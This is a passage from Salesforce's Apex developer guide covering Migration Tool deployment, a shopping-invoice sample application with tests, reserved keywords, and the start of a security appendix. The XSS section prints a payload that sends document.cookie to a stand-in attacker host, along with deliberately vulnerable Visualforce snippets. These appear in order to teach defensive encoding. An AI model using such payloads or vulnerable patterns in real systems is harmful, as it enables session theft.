b. If you are deploying to a sandbox organization, change the sf.serverurl field to https://test.salesforce.com. 10. Open a command window in the sample directory. 11. Enter ant deployCode. This runs the deploy API call, using the sample class and Account trigger provided with the Force.com Migration Tool. The ant deployCode calls the Ant target named deploy in the build.xml file.
<!-- Shows deploying code & running tests for package 'codepkg' --> <target name="deployCode"> <!-- Upload the contents of the "codepkg" package, running the tests for just 1 class --> <sf:deploy username="${sf.username}" password="${sf.password}" serverurl="${sf.serverurl}" deployroot="codepkg"> <runTest>SampleDeployClass</runTest> </sf:deploy> </target>

For more information on deploy, see Understanding deploy on page 362. 12. To remove the test class and trigger added as part of the execution of ant deployCode, enter the following in the command window: ant undeployCode.
ant undeployCode calls the Ant target named undeployCode in the build.xml file.
<target name="undeployCode"> <sf:deploy username="${sf.username}" password="${sf.password}" serverurl= "${sf.serverurl}" deployroot="removecodepkg"/> </target>

Understanding deploy
The deploy call completes successfully only if all of the following are true: 75% of your Apex scripts are covered by unit tests, and all of those tests complete successfully.

362

Deploying Apex Scripts

Understanding deploy

Note the following: When deploying to a production organization, every unit test in your organization namespace is executed. Calls to System.debug are not counted as part of Apex code coverage in unit tests. While only 75% of your Apex scripts must be covered, the goal is to achieve 100% coverage

Every trigger has some test coverage. All classes and triggers compile successfully.

You cannot run more than one deploy Metadata API call at the same time. The Force.com Migration Tool provides the task deploy which can be incorporated into your deployment scripts. You can modify the build.xml sample to include your organization's classes and triggers. The properties of the deploy task are as follows:
username

The username for logging into the Salesforce.com production organization.

password

The password associated for logging into the Salesforce.com production organization.
serverURL

The URL for the Salesforce.com server you are logging into. If you do not specify a value, the default is www.salesforce.com.
deployRoot

The local directory that contains the Apex classes and triggers, as well as any other metadata, that you want to deploy. The best way to create the necessary file structure is to retrieve it from your organization or sandbox. See Understanding retrieveCode on page 364 for more information. Apex class files must be in a subdirectory named classes. You must have two files for each class, named as follows: classname.cls classname.cls-meta.xml

For example, MyClass.cls and MyClass.cls-meta.xml. The -meta.xml file contains the API version and the status (active/inactive) of the class. Apex trigger files must be in a subdirectory named triggers. You must have two files for each trigger, named as follows: triggername.trigger triggername.trigger-meta.xml

For example, MyTrigger.trigger and MyTrigger.trigger-meta.xml. The -meta.xml file contains the API version and the status (active/inactive) of the trigger. The root directory contains an XML file package.xml that lists all the classes, triggers, and other objects to be deployed. The root directory optionally contains an XML file destructiveChanges.xml that lists all the classes, triggers, and other objects to be deleted from your organization.

checkOnly

Specifies whether the classes and triggers are deployed to the target environment or not. This property takes a Boolean value: true if you do not want to save the classes and triggers to the organization, false otherwise. If you do not specify a value, the default is false.

363

Deploying Apex Scripts

Understanding retrieveCode

runTests

The name of the class that contains the unit tests that you want to run. Note: This parameter is ignored when deploying to a Salesforce.com production organization. Every unit test in your organization namespace is executed.

runAllTests

This property takes a Boolean value: true if you want run all tests in your organization, false if you do not. You should not specify a value for runTests if you specify true for runAllTests. Note: This parameter is ignored when deploying to a Salesforce.com production organization. Every unit test in your organization namespace is executed.

Understanding retrieveCode
Use the retrieveCode call to retrieve classes and triggers from your sandbox or production organization. During the normal deploy cycle, you would run retrieveCode prior to deploy, in order to obtain the correct directory structure for your new classes and triggers. However, for this example, deploy is used first, to ensure that there is something to retrieve. To retrieve classes and triggers from an existing organization, use the retrieve ant task as illustrated by the sample build target ant retrieveCode:
<target name="retrieveCode"> <!-- Retrieve the contents listed in the file codepkg/package.xml into the codepkg directory --> <sf:retrieve username="${sf.username}" password="${sf.password}" serverurl="${sf.serverurl}" retrieveTarget="codepkg" unpackaged="codepkg/package.xml"/> </target>

The file codepkg/package.xml lists the metadata components to be retrieved. In this example, it retrieves two classes and one trigger. The retrieved files are put into the directory codepkg, overwriting everything already in the directory. The properties of the retrieve task are as follows:
username

The username for logging into the Salesforce.com production organization.

password

The password associated for logging into the Salesforce.com production organization.
serverURL

The URL for the Salesforce.com server you are logging into. If you do not specify a value, the default is www.salesforce.com. apiversion Which version of the Metadata API at which the files should be retrieved. retrieveTarget The directory into which the files should be copied.

364

Deploying Apex Scripts

Understanding runTests()

unpackaged The name of file that contains the list of files that should be retrieved. You should either specify this parameter or packageNames. packageNames The name of the package or packages that should be retrieved. Table 3: build.xml retrieve target field settings Field
username password

Description Required. The salesforce username for login. Required. The username you use to log into the organization associated with this project. If you are using a security token, paste the 25-digit token value to the end of your password. The username associated with this connection must have Modify All Data permissions on their profile. Typically, this is only enabled for System Administrator users. Optional. The salesforce server URL (if blank, defaults to www.salesforce.com). This is useful for working against the Sandbox instance, test.salesforce.com. Optional, defaults to 5000. The number of milliseconds to wait between each poll of salesforce.com to retrieve the results. Optional, defaults to 10. The number of times to poll salesforce.com for the results of the report. Required. The root of the directory structure to retrieve the metadata files into. Optional. The name of a file manifest that specifies the components to retrieve. Optional, defaults to false. Specifies whether the contents being retrieved are a single package. Optional. A list of the names of the packages to retrieve. Optional. A list of file names to retrieve.

serverurl

pollWaitMillis maxPoll retrieveTarget unpackaged singlePackage packageNames specificFiles

Understanding runTests()
In addition to using deploy() with the Force.com Migration Tool, you can also use the runTests() API call. This call takes the following properties:
class

The name of the class that contains the unit tests. You can specify this property more than once.
alltests

Specifies whether to run all tests. This property takes a Boolean value: true if you want to run all tests, false otherwise.
namespace

The namespace that you would like to test. If you specify a namespace, all the tests in that namespace are executed.

365

Deploying Apex Scripts

Force.com Migration Tool Additional Deployment Methods

Force.com Migration Tool Additional Deployment Methods

If you do not want to use the Force.com IDE or the Force.com Migration Tool to deploy Apex, you can use the following API to deploy your Apex to a development or sandbox organization:
compileAndTest compileClasses compileTriggers

All these calls take an Apex script that contains the class or trigger, as well as the values for any fields that need to be set.

366

APPENDICES

Appendix

A
Shopping Invoice Example
This appendix provides an example of an Apex application. This is a more complex example than the Hello World example. Shopping Invoice Example Walk-Thru on page 367 Shopping Invoice Example Code on page 369

Shopping Invoice Example Walk-Thru

The sample application in this section includes traditional Salesforce.com functionality blended with Apex. Many of the syntactic and semantic features of Apex, along with common idioms, are illustrated in this application. Note: The Hello World script and the shopping invoice example require custom fields and objects. You can either create these on your own, or download the objects, fields and Apex scripts as a managed packaged from Force.com AppExchange. For more information, see wiki.apexdevnet.com/index.php/Documentation. Scenario In this sample application, the user creates a new shopping invoice, or order, and then adds items to the invoice. The total amount for the order, including shipping cost, is automatically calculated and updated based on the items added or deleted from the invoice. Data and Code Models This sample application uses two new objects: Item and Shopping_invoice. The following assumptions are made: Item A cannot be in both orders shopping_invoice1 and shopping_invoice2. Two customers cannot obtain the same (physical) product. The tax rate is 9.25%. The shipping rate is 75 cents per pound. Once an order is over $100, the shipping discount is applied (shipping becomes free).

367

Appendix A: Shopping Invoice Example

Shopping Invoice Example Walk-Thru

The fields in the Item custom object include: Name Name Price Quantity Weight Shopping_invoice Type String Currency Number Number Master-Detail (shopping_invoice) Description The name of the item The price of the item The number of items in the order The weight of the item, used to calculate shipping costs The order this item is associated with

The fields in the Shopping_invoice custom object include: Name Name Subtotal GrandTotal Shipping ShippingDiscount Tax TotalWeight Type String Currency Currency Currency Currency Currency Number Description The name of the shopping invoice/order The subtotal The total amount, including tax and shipping The amount charged for shipping (assumes $0.75 per pound) Only applied once when subtotal amount reaches $100 The amount of tax (assumes 9.25%) The total weight of all items

All of the Apex for this application is contained in triggers. This application has the following triggers: Object Item Trigger Name Calculate When Runs after insert, after update, after delete after update Description Updates the shopping invoice, calculates the totals and shipping Updates the shopping invoice, calculating if there is a shopping discount

Shopping_invoice ShippingDiscount

The following is the general flow of user actions and when triggers run:

368

Appendix A: Shopping Invoice Example

Shopping Invoice Example Code

1. 2. 3. 4. 5.

User clicks Orders New, names the shopping invoice and clicks Save. User clicks New Item, fills out information, and clicks Save. Calculate trigger runs. Part of the Calculate trigger updates the shopping invoice. ShippingDiscount trigger runs. User can then add, delete or change items in the invoice.

In Shopping Invoice Example Code both of the triggers and the test class are listed. The comments in the code explain the functionality. Testing the Shopping Invoice Application Before an application can be included as part of a package, 75% of the code must be covered by unit tests. Therefore, one piece of the shopping invoice application is a class used for testing the triggers. The test class verifies the following actions are completed successfully: Inserting items Updating items Deleting items Applying shipping discount Negative test for bad input

Shopping Invoice Example Code

The following triggers and test class make up the shopping invoice example application: Calculate trigger

369

Appendix A: Shopping Invoice Example

Shopping Invoice Example Code

ShippingDiscount trigger Test class

Calculate Trigger
trigger calculate on Item__c (after insert, after update, after delete) { // Use a map because it doesn't allow duplicate values Map<ID, Shopping_Invoice__C> updateMap = new Map<ID, Shopping_Invoice__C>(); // Set this integer to -1 if we are deleting Integer subtract ; // Populate the list of items based on trigger type List<Item__c> itemList; if(trigger.isInsert || trigger.isUpdate){ itemList = trigger.new; subtract = 1; } else if(trigger.isDelete) { // Note -- there is no trigger.new in delete itemList = trigger.old; subtract = -1; } // Access all the information we need in a single query // rather than querying when we need it. // This is a best practice for bulkifying requests set<Id> AllItems = new set<id>(); for(item__c i :itemList){ // Assert numbers are not negative. // None of the fields would make sense with a negative value System.assert(i.quantity__c > 0, 'Quantity must be positive'); System.assert(i.weight__c >= 0, 'Weight must be non-negative'); System.assert(i.price__c >= 0, 'Price must be non-negative'); // If there is a duplicate Id, it won't get added to a set AllItems.add(i.Shopping_Invoice__C); } // Accessing all shopping invoices associated with the items in the trigger List<Shopping_Invoice__C> AllShoppingInvoices = [SELECT id, ShippingDiscount__c, SubTotal__c, TotalWeight__c, Tax__c, GrandTotal__c FROM Shopping_Invoice__C where id in :AllItems]; // Take the list we just populated and put it into a Map. // This will make it easier to look up a shopping invoice // because you must iterate a list, but you can use lookup for a map, Map<ID, Shopping_Invoice__C> SIMap = new Map<ID, Shopping_Invoice__C>(); for(Shopping_Invoice__C sc : AllShoppingInvoices) { SIMap.put(sc.id, sc); } // Process the list of items if(trigger.isUpdate) { // Treat updates like a removal of the old item and addition of the // revised item rather than figuring out the differences of each field // and acting accordingly.

370

Appendix A: Shopping Invoice Example

Shopping Invoice Example Code

// Note updates have both trigger.new and trigger.old for(integer x = 0; x < trigger.old.size(); x++) { Shopping_Invoice__C myOrder; myOrder = SIMap.get(trigger.old[x].Shopping_Invoice__C); // Decrement the previous value from the subtotal and weight. myOrder.SubTotal__c -= (trigger.old[x].price__c * trigger.old[x].quantity__c); myOrder.TotalWeight__c -= (trigger.old[x].weight__c * trigger.old[x].quantity__c); // Increment the new subtotal and weight. myOrder.SubTotal__c += (trigger.new[x].price__c * trigger.new[x].quantity__c); myOrder.TotalWeight__c += (trigger.new[x].weight__c * trigger.new[x].quantity__c); } for(Shopping_Invoice__C myOrder : AllShoppingInvoices) { // Set tax rate to 9.25% Please note, this is a simple example. // Generally, you would never hard code values. // Leveraging Custom Settings for tax rates is a best practice. // See Custom Settings in the Apex Developer's guide // for more information. myOrder.Tax__c = myOrder.Subtotal__c * .0925; // Reset the shipping discount myOrder.ShippingDiscount__c = 0; // Set shipping rate to 75 cents per pound. // Generally, you would never hard code values. // Leveraging Custom Settings for the shipping rate is a best practice. // See Custom Settings in the Apex Developer's guide // for more information. myOrder.Shipping__c = (myOrder.totalWeight__c * .75); myOrder.GrandTotal__c = myOrder.SubTotal__c + myOrder.tax__c + myOrder.Shipping__c; updateMap.put(myOrder.id, myOrder); } } else { for(Item__c itemToProcess : itemList) { Shopping_Invoice__C myOrder; // Look up the correct shopping invoice from the ones we got earlier myOrder = SIMap.get(itemToProcess.Shopping_Invoice__C); myOrder.SubTotal__c += (itemToProcess.price__c * itemToProcess.quantity__c * subtract); myOrder.TotalWeight__c += (itemToProcess.weight__c * itemToProcess.quantity__c * subtract); } for(Shopping_Invoice__C myOrder : AllShoppingInvoices) { // Set tax rate to 9.25% Please note, this is a simple example. // Generally, you would never hard code values. // Leveraging Custom Settings for tax rates is a best practice. // See Custom Settings in the Apex Developer's guide // for more information. myOrder.Tax__c = myOrder.Subtotal__c * .0925;

371

Appendix A: Shopping Invoice Example

Shopping Invoice Example Code

// Reset shipping discount myOrder.ShippingDiscount__c = 0; // Set shipping rate to 75 cents per pound. // Generally, you would never hard code values. // Leveraging Custom Settings for the shipping rate is a best practice. // See Custom Settings in the Apex Developer's guide // for more information. myOrder.Shipping__c = (myOrder.totalWeight__c * .75); myOrder.GrandTotal__c = myOrder.SubTotal__c + myOrder.tax__c + myOrder.Shipping__c; updateMap.put(myOrder.id, myOrder); } } // Only use one DML update at the end. // This minimizes the number of DML requests generated from this trigger. update updateMap.values(); }

ShippingDiscount Trigger
trigger ShippingDiscount on Shopping_Invoice__C (before update) { // Free shipping on all orders greater than $100 for(Shopping_Invoice__C myShoppingInvoice : trigger.new) { if((myShoppingInvoice.subtotal__c >= 100.00) && (myShoppingInvoice.ShippingDiscount__c == 0)) { myShoppingInvoice.ShippingDiscount__c = myShoppingInvoice.Shipping__c * -1; myShoppingInvoice.GrandTotal__c += myShoppingInvoice.ShippingDiscount__c; } } }

Shopping Invoice Test

@IsTest private class TestShoppingInvoice{ // Test for inserting three items at once public static testmethod void testBulkItemInsert(){ // Create the shopping invoice. It's a best practice to either use defaults // or to explicitly set all values to zero so as to avoid having // extraneous data in your test. Shopping_Invoice__C order1 = new Shopping_Invoice__C(subtotal__c = 0, totalweight__c = 0, grandtotal__c = 0, ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0); // Insert the order and populate with items insert Order1; List<Item__c> list1 = new List<Item__c>(); Item__c item1 = new Item__C(Price__c = 10, weight__c = 1, quantity__c = 1, Shopping_Invoice__C = order1.id); Item__c item2 = new Item__C(Price__c = 25, weight__c = 2, quantity__c = 1, Shopping_Invoice__C = order1.id); Item__c item3 = new Item__C(Price__c = 40, weight__c = 3, quantity__c = 1, Shopping_Invoice__C = order1.id); list1.add(item1); list1.add(item2); list1.add(item3);

372

Appendix A: Shopping Invoice Example

Shopping Invoice Example Code

insert list1; // Retrieve the order, then do assertions order1 = [SELECT id, subtotal__c, tax__c, shipping__c, totalweight__c, grandtotal__c, shippingdiscount__c FROM Shopping_Invoice__C WHERE id = :order1.id]; System.assert(order1.subtotal__c == 75, 'Order subtotal was not $75, but was '+ order1.subtotal__c); System.assert(order1.tax__c == 6.9375, 'Order tax was not $6.9375, but was ' + order1.tax__c); System.assert(order1.shipping__c == 4.50, 'Order shipping was not $4.50, but was ' + order1.shipping__c); System.assert(order1.totalweight__c == 6.00, 'Order weight was not 6 but was ' + order1.totalweight__c); System.assert(order1.grandtotal__c == 86.4375, 'Order grand total was not $86.4375 but was ' + order1.grandtotal__c); System.assert(order1.shippingdiscount__c == 0, 'Order shipping discount was not $0 but was ' + order1.shippingdiscount__c); } // Test for updating three items at once public static testmethod void testBulkItemUpdate(){ // Create the shopping invoice. It's a best practice to either use defaults // or to explicitly set all values to zero so as to avoid having // extraneous data in your test. Shopping_Invoice__C order1 = new Shopping_Invoice__C(subtotal__c = 0, totalweight__c = 0, grandtotal__c = 0, ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0); // Insert the order and populate with items. insert Order1; List<Item__c> list1 = new List<Item__c>(); Item__c item1 = new Item__C(Price__c = 1, weight__c = 1, quantity__c = 1, Shopping_Invoice__C = order1.id); Item__c item2 = new Item__C(Price__c = 2, weight__c = 2, quantity__c = 1, Shopping_Invoice__C = order1.id); Item__c item3 = new Item__C(Price__c = 4, weight__c = 3, quantity__c = 1, Shopping_Invoice__C = order1.id); list1.add(item1); list1.add(item2); list1.add(item3); insert list1; // Update the prices on the 3 items list1[0].price__c = 10; list1[1].price__c = 25; list1[2].price__c = 40; update list1; // Access the order and assert items updated order1 = [SELECT id, subtotal__c, tax__c, shipping__c, totalweight__c, grandtotal__c, shippingdiscount__c FROM Shopping_Invoice__C WHERE id = :order1.id]; System.assert(order1.subtotal__c == 75, 'Order subtotal was not $75, but was '+ order1.subtotal__c); System.assert(order1.tax__c == 6.9375, 'Order tax was not $6.9375, but was ' + order1.tax__c); System.assert(order1.shipping__c == 4.50, 'Order shipping was not $4.50, but was ' + order1.shipping__c);

373

Appendix A: Shopping Invoice Example

Shopping Invoice Example Code

System.assert(order1.totalweight__c == 6.00, 'Order weight was not 6 but was ' + order1.totalweight__c); System.assert(order1.grandtotal__c == 86.4375, 'Order grand total was not $86.4375 but was ' + order1.grandtotal__c); System.assert(order1.shippingdiscount__c == 0, 'Order shipping discount was not $0 but was ' + order1.shippingdiscount__c); } // Test for deleting items public static testmethod void testBulkItemDelete(){ // Create the shopping invoice. It's a best practice to either use defaults // or to explicitly set all values to zero so as to avoid having // extraneous data in your test. Shopping_Invoice__C order1 = new Shopping_Invoice__C(subtotal__c = 0, totalweight__c = 0, grandtotal__c = 0, ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0); // Insert the order and populate with items insert Order1; List<Item__c> list1 = new List<Item__c>(); Item__c item1 = new Item__C(Price__c = 10, weight__c = 1, quantity__c = 1, Shopping_Invoice__C = order1.id); Item__c item2 = new Item__C(Price__c = 25, weight__c = 2, quantity__c = 1, Shopping_Invoice__C = order1.id); Item__c item3 = new Item__C(Price__c = 40, weight__c = 3, quantity__c = 1, Shopping_Invoice__C = order1.id); Item__c itemA = new Item__C(Price__c = 1, weight__c = 3, quantity__c = 1, Shopping_Invoice__C = order1.id); Item__c itemB = new Item__C(Price__c = 1, weight__c = 3, quantity__c = 1, Shopping_Invoice__C = order1.id); Item__c itemC = new Item__C(Price__c = 1, weight__c = 3, quantity__c = 1, Shopping_Invoice__C = order1.id); Item__c itemD = new Item__C(Price__c = 1, weight__c = 3, quantity__c = 1, Shopping_Invoice__C = order1.id); list1.add(item1); list1.add(item2); list1.add(item3); list1.add(itemA); list1.add(itemB); list1.add(itemC); list1.add(itemD); insert list1; // Seven items are now in the shopping cart. // The following deletes four of them. List<Item__c> list2 = new List<Item__c>(); list2.add(itemA); list2.add(itemB); list2.add(itemC); list2.add(itemD); delete list2; // Retrieve the order and verify the deletion order1 = [SELECT id, subtotal__c, tax__c, shipping__c, totalweight__c, grandtotal__c, shippingdiscount__c FROM Shopping_Invoice__C WHERE id = :order1.id]; System.assert(order1.subtotal__c == 75, 'Order subtotal was not $75, but was '+ order1.subtotal__c); System.assert(order1.tax__c == 6.9375, 'Order tax was not $6.9375, but was ' + order1.tax__c); System.assert(order1.shipping__c == 4.50,

374

Appendix A: Shopping Invoice Example

Shopping Invoice Example Code

'Order shipping was not $4.50, but was ' + order1.shipping__c); System.assert(order1.totalweight__c == 6.00, 'Order weight was not 6 but was ' + order1.totalweight__c); System.assert(order1.grandtotal__c == 86.4375, 'Order grand total was not $86.4375 but was ' + order1.grandtotal__c); System.assert(order1.shippingdiscount__c == 0, 'Order shipping discount was not $0 but was ' + order1.shippingdiscount__c); } // Testing free shipping public static testmethod void testFreeShipping(){ // Create the shopping invoice. It's a best practice to either use defaults // or to explicitly set all values to zero so as to avoid having // extraneous data in your test. Shopping_Invoice__C order1 = new Shopping_Invoice__C(subtotal__c = 0, totalweight__c = 0, grandtotal__c = 0, ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0); // Insert the order and populate with items. insert Order1; List<Item__c> list1 = new List<Item__c>(); Item__c item1 = new Item__C(Price__c = 10, weight__c = 1, quantity__c = 1, Shopping_Invoice__C = order1.id); Item__c item2 = new Item__C(Price__c = 25, weight__c = 2, quantity__c = 1, Shopping_Invoice__C = order1.id); Item__c item3 = new Item__C(Price__c = 40, weight__c = 3, quantity__c = 1, Shopping_Invoice__C = order1.id); list1.add(item1); list1.add(item2); list1.add(item3); insert list1; // Retrieve the order and verify free shipping not applicable order1 = [SELECT id, subtotal__c, tax__c, shipping__c, totalweight__c, grandtotal__c, shippingdiscount__c FROM Shopping_Invoice__C WHERE id = :order1.id]; // Free shipping not available on $75 orders System.assert(order1.subtotal__c == 75, 'Order subtotal was not $75, but was '+ order1.subtotal__c); System.assert(order1.tax__c == 6.9375, 'Order tax was not $6.9375, but was ' + order1.tax__c); System.assert(order1.shipping__c == 4.50, 'Order shipping was not $4.50, but was ' + order1.shipping__c); System.assert(order1.totalweight__c == 6.00, 'Order weight was not 6 but was ' + order1.totalweight__c); System.assert(order1.grandtotal__c == 86.4375, 'Order grand total was not $86.4375 but was ' + order1.grandtotal__c); System.assert(order1.shippingdiscount__c == 0, 'Order shipping discount was not $0 but was ' + order1.shippingdiscount__c); // Add items to increase subtotal item1 = new Item__C(Price__c = 25, weight__c = 20, quantity__c = 1, Shopping_Invoice__C = order1.id); insert item1; // Retrieve the order and verify free shipping is applicable order1 = [SELECT id, subtotal__c, tax__c, shipping__c, totalweight__c, grandtotal__c, shippingdiscount__c FROM Shopping_Invoice__C WHERE id = :order1.id];

375

Appendix A: Shopping Invoice Example

Shopping Invoice Example Code

// Order total is now at $100, so free shipping should be enabled System.assert(order1.subtotal__c == 100, 'Order subtotal was not $100, but was '+ order1.subtotal__c); System.assert(order1.tax__c == 9.25, 'Order tax was not $9.25, but was ' + order1.tax__c); System.assert(order1.shipping__c == 19.50, 'Order shipping was not $19.50, but was ' + order1.shipping__c); System.assert(order1.totalweight__c == 26.00, 'Order weight was not 26 but was ' + order1.totalweight__c); System.assert(order1.grandtotal__c == 109.25, 'Order grand total was not $86.4375 but was ' + order1.grandtotal__c); System.assert(order1.shippingdiscount__c == -19.50, 'Order shipping discount was not -$19.50 but was ' + order1.shippingdiscount__c); } // Negative testing for inserting bad input public static testmethod void testNegativeTests(){ // Create the shopping invoice. It's a best practice to either use defaults // or to explicitly set all values to zero so as to avoid having // extraneous data in your test. Shopping_Invoice__C order1 = new Shopping_Invoice__C(subtotal__c = 0, totalweight__c = 0, grandtotal__c = 0, ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0); // Insert the order and populate with items. insert Order1; Item__c item1 = new Item__C(Price__c = -10, weight__c = 1, quantity__c = 1, Shopping_Invoice__C = order1.id); Item__c item2 = new Item__C(Price__c = 25, weight__c = -2, quantity__c = 1, Shopping_Invoice__C = order1.id); Item__c item3 = new Item__C(Price__c = 40, weight__c = 3, quantity__c = -1, Shopping_Invoice__C = order1.id); Item__c item4 = new Item__C(Price__c = 40, weight__c = 3, quantity__c = 0, Shopping_Invoice__C = order1.id); try{ insert item1; } catch(Exception e) { system.assert(e.getMessage().contains('Price must be non-negative'), 'Price was negative but was not caught'); } try{ insert item2; } catch(Exception e) { system.assert(e.getMessage().contains('Weight must be non-negative'), 'Weight was negative but was not caught'); } try{ insert item3; } catch(Exception e) { system.assert(e.getMessage().contains('Quantity must be positive'), 'Quantity was negative but was not caught'); } try{

376

Appendix A: Shopping Invoice Example

Shopping Invoice Example Code

insert item4; } catch(Exception e) { system.assert(e.getMessage().contains('Quantity must be positive'), 'Quantity was zero but was not caught'); } } }

377

Appendix

B
Reserved Keywords
The following table lists identifiers that are reserved for use as keywords and cannot be used otherwise: Note: Keywords marked with an asterisk (*) are reserved for future use.

Table 4: Reserved Keywords abstract activate* and any* array as asc autonomous* begin* bigdecimal* blob break bulk by byte* case* cast* catch char* class collect* commit const* continue convertcurrency decimal having* hint* if implements import* inner* insert instanceof interface into* int join* last_90_days last_month last_n_days last_week like limit list long loop* map merge new next_90_days next_month retrieve* return returning* rollback savepoint search* select set short* sort stat* super switch* synchronized* system testmethod then* this this_month* this_week throw today tolabel tomorrow transaction* trigger

378

Appendix B: Reserved Keywords

default* delete desc do else end* enum exit* export* extends false final finally float* for from future global goto* group*

next_n_days next_week not null nulls number* object* of* on or outer* override package parallel* pragma* private protected public

true try type* undelete update upsert using virtual webservice when* where while yesterday

Note that the following special keywords are allowed as identifiers: after before count excludes first includes last order sharing with

379

Appendix

C
Security Tips for Apex and Visualforce Development
Understanding Security The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and business logic to Salesforce.com or create a completely new stand-alone product running inside the Force.com platform. However, as with any programming language, developers must be cognizant of potential security-related pitfalls. Salesforce.com has incorporated several security defenses into the Force.com platform itself. However, careless developers can still bypass the built-in defenses in many cases and expose their applications and customers to security risks. Many of the coding mistakes a developer can make on the Force.com platform are similar to general Web application security vulnerabilities, while others are unique to Apex. To certify an application for Force.com AppExchange, it is important that developers learn and understand the security flaws described here.

Cross Site Scripting (XSS)

Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided to a Web application. The Web application includes malicious scripting in a response to a user of the Web application. The user then unknowingly becomes the victim of the attack. The attacker has used the Web application as an intermediary in the attack, taking advantage of the victim's trust for the Web application. Most applications that display dynamic Web pages without properly validating the data are likely to be vulnerable. Attacks against the website are especially easy if input from one user is intended to be displayed to another user. Some obvious possibilities include bulletin board or user comment-style websites, news, or email archives. For example, assume the following script is included in a Force.com page using a script component, an on* event, or even an s-control.
<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo = '{!$CurrentPage.parameters.userparam}';</script>

This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following value for userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

380

Appendix C: Security Tips for Apex and Visualforce Development

Cross Site Scripting (XSS)

In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were the victim. The attacker can post a malicious script using a Web site or email. Web application users not only see the attacker's input, but their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against the victim. These range from simple actions such as opening and closing windows, to more malicious attacks such as stealing data or session cookies, allowing an attacker full access to the victim's session. For more information on this attack in general, see the following articles: http://www.owasp.org/index.php/Cross_Site_Scripting http://www.cgisecurity.com/articles/xss-faq.shtml http://www.owasp.org/index.php/Testing_for_Cross_site_scripting http://www.google.com/search?q=cross-site+scripting

Within the Force.com platform there are several anti-XSS defenses in place. For example, salesforce.com has implemented filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws have been largely mitigated. However, the creative developer can still find ways to intentionally or accidentally bypass the default controls. The following sections show where protection does and does not exist. Existing Protection All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the <apex:outputText> tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the < character is converted to &lt; so that a literal < displays on the user's screen.
<apex:outputText> {!$CurrentPage.parameters.userInput} </apex:outputText>

Disabling Escape on Visualforce Tags By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting the optional attribute escape="false". For example, the following output is vulnerable to XSS attacks:
<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

Programming Items Not Protected from XSS The following items do not have built-in XSS protections and you should take extra care when using these tags and objects. This is because these items were intended to allow the developer to customize the page by inserting script commands. It does not makes sense to include anti-XSS filters on commands that are intentionally added to a page. S-Controls and Custom JavaScript If you write your own JavaScript or s-controls, the Force.com platform has no way to protect you. For example, the following code is vulnerable to XSS if used in JavaScript.
<script> var foo = location.search; document.write(foo); </script>

381

Appendix C: Security Tips for Apex and Visualforce Development

Unescaped Output and Formulas in Visualforce Pages

<apex:includeScript> The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these cases, be very careful to validate that the content is safe and does not include user-supplied data. For example, the following snippet is extremely vulnerable as it includes user-supplied input as the value of the script text. The value provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as in the example below), they can potentially direct the victim to include any JavaScript file from any other website.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />

Unescaped Output and Formulas in Visualforce Pages

When using components that have set the escape attribute to false, or when including formulas outside of a Visualforce component, output is unfiltered and must be validated for security. This is especially important when using formula expressions. Formula expressions can be function calls or include information about platform objects, a user's environment, system environment, and the request environment. It is important to be aware that the output that is generated by expressions is not escaped during rendering. Since expressions are rendered on the server, it is not possible to escape rendered data on the client using JavaScript or other client-side technology. This can lead to potentially dangerous situations if the formula expression references non-system data (that is potentially hostile or editable data) and the expression itself is not wrapped in a function to escape the output during rendering. A common vulnerability is created by rerendering user input on a page. For example,
<apex:page extensions="secure" standardController="Account"> <apex:form> <apex:commandButton rerender="outputIt" value="Update It"/> <apex:inputText value="{!myTextField}"/> </apex:form> <apex:outputPanel id="outputIt"> Value of myTextField is <apex:outputText value=" {!myTextField}" escape="false"/> </apex:outputPanel> </apex:page>

The unescaped {!myTextField} results in a cross-site scripting vulnerability. For example, if the user enters :
<script>alert('xss')

and clicks Update It, the JavaScript is executed. In this case, an alert dialog is displayed, but more malicious uses could be designed. There are several functions that you can use for escaping potentially insecure strings. HTMLENCODE The HTMLENCODE function encodes text strings and merge field values for use in HTML by replacing characters that are reserved in HTML, such as the greater-than sign (>), with HTML entity equivalents, such as &gt;. JSENCODE The JSENCODE function encodes text strings and merge field values for use in JavaScript by inserting escape characters, such as a backslash (\), before unsafe JavaScript characters, such as the apostrophe (').

382

Appendix C: Security Tips for Apex and Visualforce Development

Cross-Site Request Forgery (CSRF)

JSINHTMLENCODE The JSINHTMLENCODE function encodes text strings and merge field values for use in JavaScript within HTML tags by inserting escape characters before unsafe JavaScript characters and replacing characters that are reserved in HTML with HTML entity equivalents. URLENCODE The URLENCODE function encodes text strings and merge field values for use in URLs by replacing characters that are illegal in URLs, such as blank spaces, with the code that represent those characters as defined in RFC 3986, Uniform Resource Identifier (URI): Generic Syntax. For example, exclamation points are replaced with %21. To use HTMLENCODE to secure the previous example, change the <apex:outputText> to the following:
<apex:outputText value=" {!HTMLENCODE(myTextField)}" escape="false"/>

If a user enters <script>alert('xss') and clicks Update It, the JavaScript is not be executed. Instead, the string is encoded and the page displays Value of myTextField is <script>alert('xss'). Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped counterparts may vary. For instance, this statement:
